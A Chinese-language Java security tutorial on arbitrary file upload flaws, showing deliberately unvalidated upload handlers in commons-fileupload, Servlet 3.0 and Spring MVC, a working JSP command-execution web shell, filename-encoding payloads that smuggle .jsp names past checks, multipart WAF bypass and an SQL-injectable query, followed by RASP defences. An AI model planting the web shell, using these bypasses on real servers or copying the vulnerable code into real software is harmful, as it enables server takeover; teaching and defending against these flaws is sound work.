<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    任意文件上傳漏洞

    任意文件上傳漏洞

    Web應用通常都會包含文件上傳功能,用戶可以將其本地的文件上傳到Web服務器上。如果服務器端沒有能夠正確的檢測用戶上傳的文件類型是否合法(例如上傳了jsp后綴的WebShell)就將文件寫入到服務器中就可能會導致服務器被非法入侵。

    1. Apache commons fileupload文件上傳測試

    Apache commons-fileupload是一個非常常用的文件上傳解析庫,Spring MVCStruts2Tomcat等底層處理文件上傳請求都是使用的這個庫。

    示例 - Apache commons-fileupload文件上傳:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
    <%@ page import="org.apache.commons.fileupload.FileItemStream" %>
    <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
    <%@ page import="org.apache.commons.fileupload.util.Streams" %>
    <%@ page import="java.io.File" %>
    <%@ page import="java.io.FileOutputStream" %>
    <%
        if (ServletFileUpload.isMultipartContent(request)) {
            ServletFileUpload fileUpload       = new ServletFileUpload();
            FileItemIterator  fileItemIterator = fileUpload.getItemIterator(request);
    
            String dir       = request.getServletContext().getRealPath("/uploads/");
            File   uploadDir = new File(dir);
    
            if (!uploadDir.exists()) {
                uploadDir.mkdir();
            }
    
            while (fileItemIterator.hasNext()) {
                FileItemStream fileItemStream = fileItemIterator.next();
                String         fieldName      = fileItemStream.getFieldName();// 字段名稱
    
                if (fileItemStream.isFormField()) {
                    String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
                    out.println(fieldName + "=" + fieldValue);
                } else {
                    String fileName   = fileItemStream.getName();
                    File   uploadFile = new File(uploadDir, fileName);
                    out.println(fieldName + "=" + fileName);
                    FileOutputStream fos = new FileOutputStream(uploadFile);
    
                    // 寫文件
                    Streams.copy(fileItemStream.openStream(), fos, true);
    
                    out.println("文件上傳成功:" + uploadFile.getAbsolutePath());
                }
            }
        } else {
    %>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>File upload</title>
    </head>
    <body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>
            用戶名: <input name="username" type="text"/>
            文件: <input id="file" name="file" type="file"/>
        </p>
        <input name="submit" type="submit" value="Submit"/>
    </form>
    </body>
    </html>
    <%
        }
    %>

    示例 - 本地命令執行后門代碼:

    <%@ page import="java.io.InputStream" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <pre>
    <%
        String[] cmd = request.getParameterValues("cmd");
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream in = process.getInputStream();
        int a = 0;
        byte[] b = new byte[1024];
    
        while ((a = in.read(b)) != -1) {
            out.println(new String(b, 0, a));
        }
    
        in.close();
    %>
    </pre>

    因為Web應用未檢測用戶上傳的文件合法性導致了任意文件上傳漏洞,訪問示例中的文件上傳地址:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并選擇一個惡意的jsp后門(示例上傳的是一個本地命令執行的后門):

    任意文件上傳漏洞

    后門成功的寫入到了網站目錄:

    任意文件上傳漏洞

    訪問命令執行后門測試:http://localhost:8000/uploads/cmd.jsp?cmd=ls,如下圖:

    任意文件上傳漏洞

    2. Servlet 3.0 內置文件上傳解析

    Servlet3.0 新增了對文件上傳請求解析的支持,javax.servlet.http.HttpServletRequest#getParts,使用request.getParts();即可獲取文件上傳包解析后的結果,從此不再需要使用第三方jar來處理文件上傳請求了。

    2.1 JSP multipart-config

    JSP使用request.getParts();必須配置multipart-config,否則請求時會報錯:Unable to process parts as no multi-part configuration has been provided(由于沒有提供multi-part配置,無法處理parts)。

    在web.xml中添加如下配置:

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0"
             xmlns="http://java.sun.com/xml/ns/javaee"
             xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
    
       <servlet>
            <servlet-name>file-upload-parts.jsp</servlet-name>
            <jsp-file>/modules/servlet/fileupload/file-upload-parts.jsp</jsp-file>
            <multipart-config>
                <max-file-size>1000000</max-file-size>
                <max-request-size>1000000</max-request-size>
                <file-size-threshold>1000000</file-size-threshold>
            </multipart-config>
        </servlet>
    
        <servlet-mapping>
            <servlet-name>file-upload-parts.jsp</servlet-name>
            <url-pattern>/modules/servlet/fileupload/file-upload-parts.jsp</url-pattern>
        </servlet-mapping>
    
    </web-app>

    示例 - file-upload-parts.jsp

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="org.apache.commons.io.IOUtils" %>
    <%@ page import="java.util.Collection" %>
    <%@ page import="java.io.File" %>
    <%
        String contentType = request.getContentType();
    
        // 檢測是否是multipart請求
        if (contentType != null && contentType.startsWith("multipart/")) {
            String dir       = request.getSession().getServletContext().getRealPath("/uploads/");
            File   uploadDir = new File(dir);
    
            if (!uploadDir.exists()) {
                uploadDir.mkdir();
            }
    
            Collection<Part> parts = request.getParts();
    
            for (Part part : parts) {
                String fileName = part.getSubmittedFileName();
    
                if (fileName != null) {
                    File uploadFile = new File(uploadDir, fileName);
                    out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "<br/>");
                } else {
                    out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "<br/>");
                }
            }
        } else {
    %>
    <!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <title>File upload</title>
    </head>
    <body>
    <form action="" enctype="multipart/form-data" method="post">
        <p>
            用戶名: <input name="username" type="text"/>
            文件: <input id="file" name="file" type="file"/>
        </p>
        <input name="submit" type="submit" value="Submit"/>
    </form>
    </body>
    </html>
    <%
        }
    %>

    訪問示例中的文件上傳地址:http://localhost:8000/modules/servlet/fileupload/file-upload-parts.jsp

    任意文件上傳漏洞

    文件上傳成功:

    任意文件上傳漏洞

    2.2 Servlet @MultipartConfig

    Servlet3.0 需要配置@MultipartConfig注解才能支持multipart解析。

    示例 - FileUploadServlet代碼:

    import org.apache.commons.io.FileUtils;
    import org.apache.commons.io.IOUtils;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.MultipartConfig;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.Part;
    import java.io.File;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.util.Collection;
    
    @MultipartConfig
    @WebServlet(urlPatterns = "/FileUploadServlet")
    public class FileUploadServlet extends HttpServlet {
    
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            PrintWriter out = resp.getWriter();
    
            out.println("<!DOCTYPE html>\n" +
                    "<html lang=\"zh\">\n" +
                    "<head>\n" +
                    "    <meta charset=\"UTF-8\">\n" +
                    "    <title>File upload</title>\n" +
                    "</head>\n" +
                    "<body>\n" +
                    "<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" +
                    "    <p>\n" +
                    "        用戶名: <input name=\"username\" type=\"text\"/>\n" +
                    "        文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
                    "    </p>\n" +
                    "    <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
                    "</form>\n" +
                    "</body>\n" +
                    "</html>");
    
            out.flush();
            out.close();
        }
    
        @Override
        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            PrintWriter out         = response.getWriter();
            String      contentType = request.getContentType();
    
            // 檢測是否是multipart請求
            if (contentType != null && contentType.startsWith("multipart/")) {
                String dir       = request.getSession().getServletContext().getRealPath("/uploads/");
                File   uploadDir = new File(dir);
    
                if (!uploadDir.exists()) {
                    uploadDir.mkdir();
                }
    
                Collection<Part> parts = request.getParts();
    
                for (Part part : parts) {
                    String fileName = part.getSubmittedFileName();
    
                    if (fileName != null) {
                        File uploadFile = new File(uploadDir, fileName);
                        out.println(part.getName() + ": " + uploadFile.getAbsolutePath());
    
                        FileUtils.write(uploadFile, IOUtils.toString(part.getInputStream(), "UTF-8"));
                    } else {
                        out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()));
                    }
                }
            }
    
            out.flush();
            out.close();
        }
    
    }

    訪問示例中的文件上傳地址:http://localhost:8000/FileUploadServlet

    任意文件上傳漏洞

    文件上傳成功:

    任意文件上傳漏洞

    3. Spring MVC文件上傳

    Spring MVC會自動解析multipart/form-data請求,將multipart中的對象封裝到MultipartRequest對象中,所以在Controller中使用@RequestParam注解就可以映射multipart中的對象了,如:@RequestParam("file") MultipartFile file

    import org.javaweb.utils.FileUtils;
    import org.javaweb.utils.HttpServletResponseUtils;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import org.springframework.web.bind.annotation.ResponseBody;
    import org.springframework.web.multipart.MultipartFile;
    
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.File;
    import java.io.IOException;
    import java.util.LinkedHashMap;
    import java.util.Map;
    
    import static org.javaweb.utils.HttpServletRequestUtils.getDocumentRoot;
    
    @Controller
    @RequestMapping("/FileUpload/")
    public class FileUploadController {
    
        @RequestMapping("/upload.php")
        public void uploadPage(HttpServletResponse response) {
            HttpServletResponseUtils.responseHTML(response, "<!DOCTYPE html>\n" +
                    "<html lang=\"en\">\n" +
                    "<head>\n" +
                    "    <meta charset=\"UTF-8\">\n" +
                    "    <title>File upload</title>\n" +
                    "</head>\n" +
                    "<body>\n" +
                    "<form action=\"/FileUpload/upload.do\" enctype=\"multipart/form-data\" method=\"post\">\n" +
                    "    <p>\n" +
                    "        用戶名: <input name=\"username\" type=\"text\"/>\n" +
                    "        文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
                    "    </p>\n" +
                    "    <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
                    "</form>\n" +
                    "</body>\n" +
                    "</html>");
        }
    
        @ResponseBody
        @RequestMapping("/upload.do")
        public Map<String, Object> upload(String username, @RequestParam("file") MultipartFile file, HttpServletRequest request) {
            // 文件名稱
            String filePath   = "uploads/" + username + "/" + file.getOriginalFilename();
            File   uploadFile = new File(getDocumentRoot(request), filePath);
    
            // 上傳目錄
            File uploadDir = uploadFile.getParentFile();
    
            // 上傳文件對象
            Map<String, Object> jsonMap = new LinkedHashMap<String, Object>();
    
            if (!uploadDir.exists()) {
                uploadDir.mkdirs();
            }
    
            try {
                FileUtils.copyInputStreamToFile(file.getInputStream(), uploadFile);
    
                jsonMap.put("url", filePath);
                jsonMap.put("msg", "上傳成功!");
            } catch (IOException e) {
                jsonMap.put("msg", "上傳失敗,服務器異常!");
            }
    
            return jsonMap;
        }
    
    }

    訪問示例中的文件上傳地址:http://localhost:8000/FileUpload/upload.do,如下圖:

    任意文件上傳漏洞

    后門成功的寫入到了網站目錄:

    任意文件上傳漏洞

    4. 文件上傳 - 編碼特性

    4.1 QP編碼

    QP編碼quoted-printable)是郵件協議中的一種內容編碼方式,Quoted-printable是使用可打印的ASCII字符(如字母、數字與“=”)表示各種編碼格式下的字符,以便能在7-bit數據通路上傳輸8-bit數據, 或者更一般地說在非8-bit clean媒體上正確處理數據,這被定義為MIME content transfer encoding

    示例 - JavaQP編碼代碼:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="javax.mail.internet.MimeUtility" %>
    <%
        String qp = request.getParameter("qp");
        String encode = MimeUtility.encodeWord(qp);
        String decode = MimeUtility.decodeWord(encode);
    
        out.println("<pre>\nQP-Encoding: " + encode + "\nQP-Decode: " + decode);
    %>

    字符串:測試.jsp編碼后的結果如下:

    任意文件上傳漏洞

    QP編碼本與文件上傳沒有什么關系,但是由于在Java中最常用的Apache commons fileupload庫從1.3開始支持了RFC 2047 Header值編碼,從而支持解析使用QP編碼后的文件名。

    上傳文件的時候選一個文件名經過QP編碼后的文件,如:=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=(測試.jsp)。

    示例 - 文件上傳測試:

    任意文件上傳漏洞

    示例 - Payload:

    Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="

    編碼處理類:org.apache.commons.fileupload.util.mime.MimeUtility#decodeText

    任意文件上傳漏洞

    文件上傳成功后文件名被編碼成了測試.jsp

    Spring MVC中同樣支持QP編碼,在Spring中有兩種處理MultipartResolverorg.springframework.web.multipart.commons.CommonsMultipartResolverorg.springframework.web.multipart.support.StandardServletMultipartResolverCommonsMultipartResolver使用的是commons fileupload解析的所以支持QP編碼。StandardMultipartHttpServletRequest比較特殊,Spring 4沒有處理QP編碼:

    任意文件上傳漏洞

    但是在Spring 5修改了實現,如果文件名是=?開始?=結尾的話會調用javax.mail庫的MimeDelegate解析QP編碼:

    任意文件上傳漏洞

    javax.mail庫不是JDK自帶的,必須自行引包,如果不存在該包也將無法解析,SpringBoot + Spring4默認使用的是StandardServletMultipartResolver,但是基于配置的Spring MVC中經常會使用CommonsMultipartResolver,如:

    <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
        <property name="defaultEncoding" value="UTF-8"></property>
        <property name="maxUploadSize" value="50000000"></property>
        <property name="maxInMemorySize" value="1024"></property>
    </bean>

    4.2 Spring 內置文件名編碼特性

    Spring會對文件上傳的名稱做特殊的處理,org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest內置了一種比較特殊的解析文件名的方式,如果傳入的multipart請求無法直接使用filename=解析出文件名,Spring還會使用content-disposition解析一次(使用filename*=解析文件名)。

    在文件上傳時,修改Content-Disposition中的filename=filename*="UTF-8'1.jpg'1.jsp"

    任意文件上傳漏洞

    Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest解析邏輯:

    任意文件上傳漏洞

    Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#extractFilenameWithCharset代碼如下:

    任意文件上傳漏洞

    extractFilenameWithCharset支持對傳入的文件名編碼,示例中傳入的UTF-8'1.jpg'1.jsp會被解析成UTF-8編碼,最終的文件名為1.jsp,而1.jpg則會被丟棄。

    Spring5的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest除了支持QP編碼以外,優化了Spring4的解析文件名的方式:

    任意文件上傳漏洞

    org.springframework.http.ContentDisposition#parse代碼:

    任意文件上傳漏洞

    文件上傳成功:

    任意文件上傳漏洞

    示例 - Payload:

    Content-Disposition: form-data; name="file"; filename*="1.jsp"
    Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"
    Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="

    5. Multipart字段解析問題

    在2013年左右,測試過非常多的WAF都不支持Multipart解析,當時經常使用Multipart請求方式來繞過WAF。Multipart所以使用請求與普通的GET/POST參數傳輸有非常大的區別,因為Multipart請求需要后端Web應用解析該請求包,Web容器也不會解析Multipart請求。WAF可能會解析Multipart但是很多時候可以直接繞過,比如很多WAF無法處理一個數據量較大的Multipart請求或者解析Multipart時不標準導致繞過。

    在PHP中默認會解析Multipart請求,也就是說我們除了可以以GET/POST方式傳參,還可以使用發送Multipart請求,后端一樣可以接受到Multipart中的參數。在Java的MVC框架中Spring MVC、Struts2等實現了和PHP類似的功能,當框架發現請求方式是Multipart時就會主動的解析并將解析結果封裝到HttpServletRequest中。

    示例 - Spring MVC 注入代碼片段:

    @ResponseBody
    @RequestMapping("/getArticleById.php")
    public SysArticle getArticleByID(String id) {
            return jdbcTemplate.queryForObject(
                    "select * from sys_article where id = " + id,
                    BeanPropertyRowMapper.newInstance(SysArticle.class)
            );
    }

    訪問示例程序:http://localhost:8000/getArticleById.php?id=100000

    任意文件上傳漏洞

    使用Multipart請求注入數據庫信息測試:

    任意文件上傳漏洞

    6. RASP防御惡意文件上傳攻擊

    RASP不但應該防御Apache commons-fileupload庫的文件上傳請求,還應當支持Servlet 3.0新增的javax.servlet.http.Part。當檢測到請求的文件名稱包含了動態腳本文件(如:.jsp/.jspx/.jspf/.jspa/.php/.asp/.aspx等)的 時候需要立即攔截文件上傳請求。

    6.1 Apache commons fileupload 防御

    Apache commons-fileupload底層處理解析Multipart的類是org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl,如下:

    任意文件上傳漏洞

    只需Hook FileItemStreamImpl類的構造方法就可以獲取到Multipart的字段或者文件名稱,RASP只需要檢測傳入的pName參數值cmd.jsp是否是一個合法的文件名稱就可以實現文件上傳校驗了。

    任意文件上傳漏洞

    需要注意一點,Tomcat封裝了Apache commons fileupload庫,并修改了fileupload類的包名,如:org.apache.tomcat.util.http.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl#FileItemStreamImpl,所以應當把這個類也放入檢測范圍內。

    6.2 javax.servlet.http.Part防御

    javax.servlet.http.Part是一個接口,不同的容器實現可能都不一樣,RASP可以對javax.servlet.http.Part接口的getInputStream方法進行Hook,然后調用getNamegetSubmittedFileName就可以獲取到字段名稱、文件名等信息。

    任意文件上傳漏洞

    任意文件上傳漏洞

    需要特別注意的是Jakarta EE8修改了javax.servlet.http.Part的API包名為:jakarta.servlet.http.Part,為了能夠適配高版本的Jakarta API。

    6.3 Spring MVC文件名內置編碼支持

    RASP為了更好的防御文件上傳類請求,需要支持RFC 2047的QP編碼,還需要支持對Spring MVC內置的文件名編碼處理處理。

    任意文件上傳漏洞

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类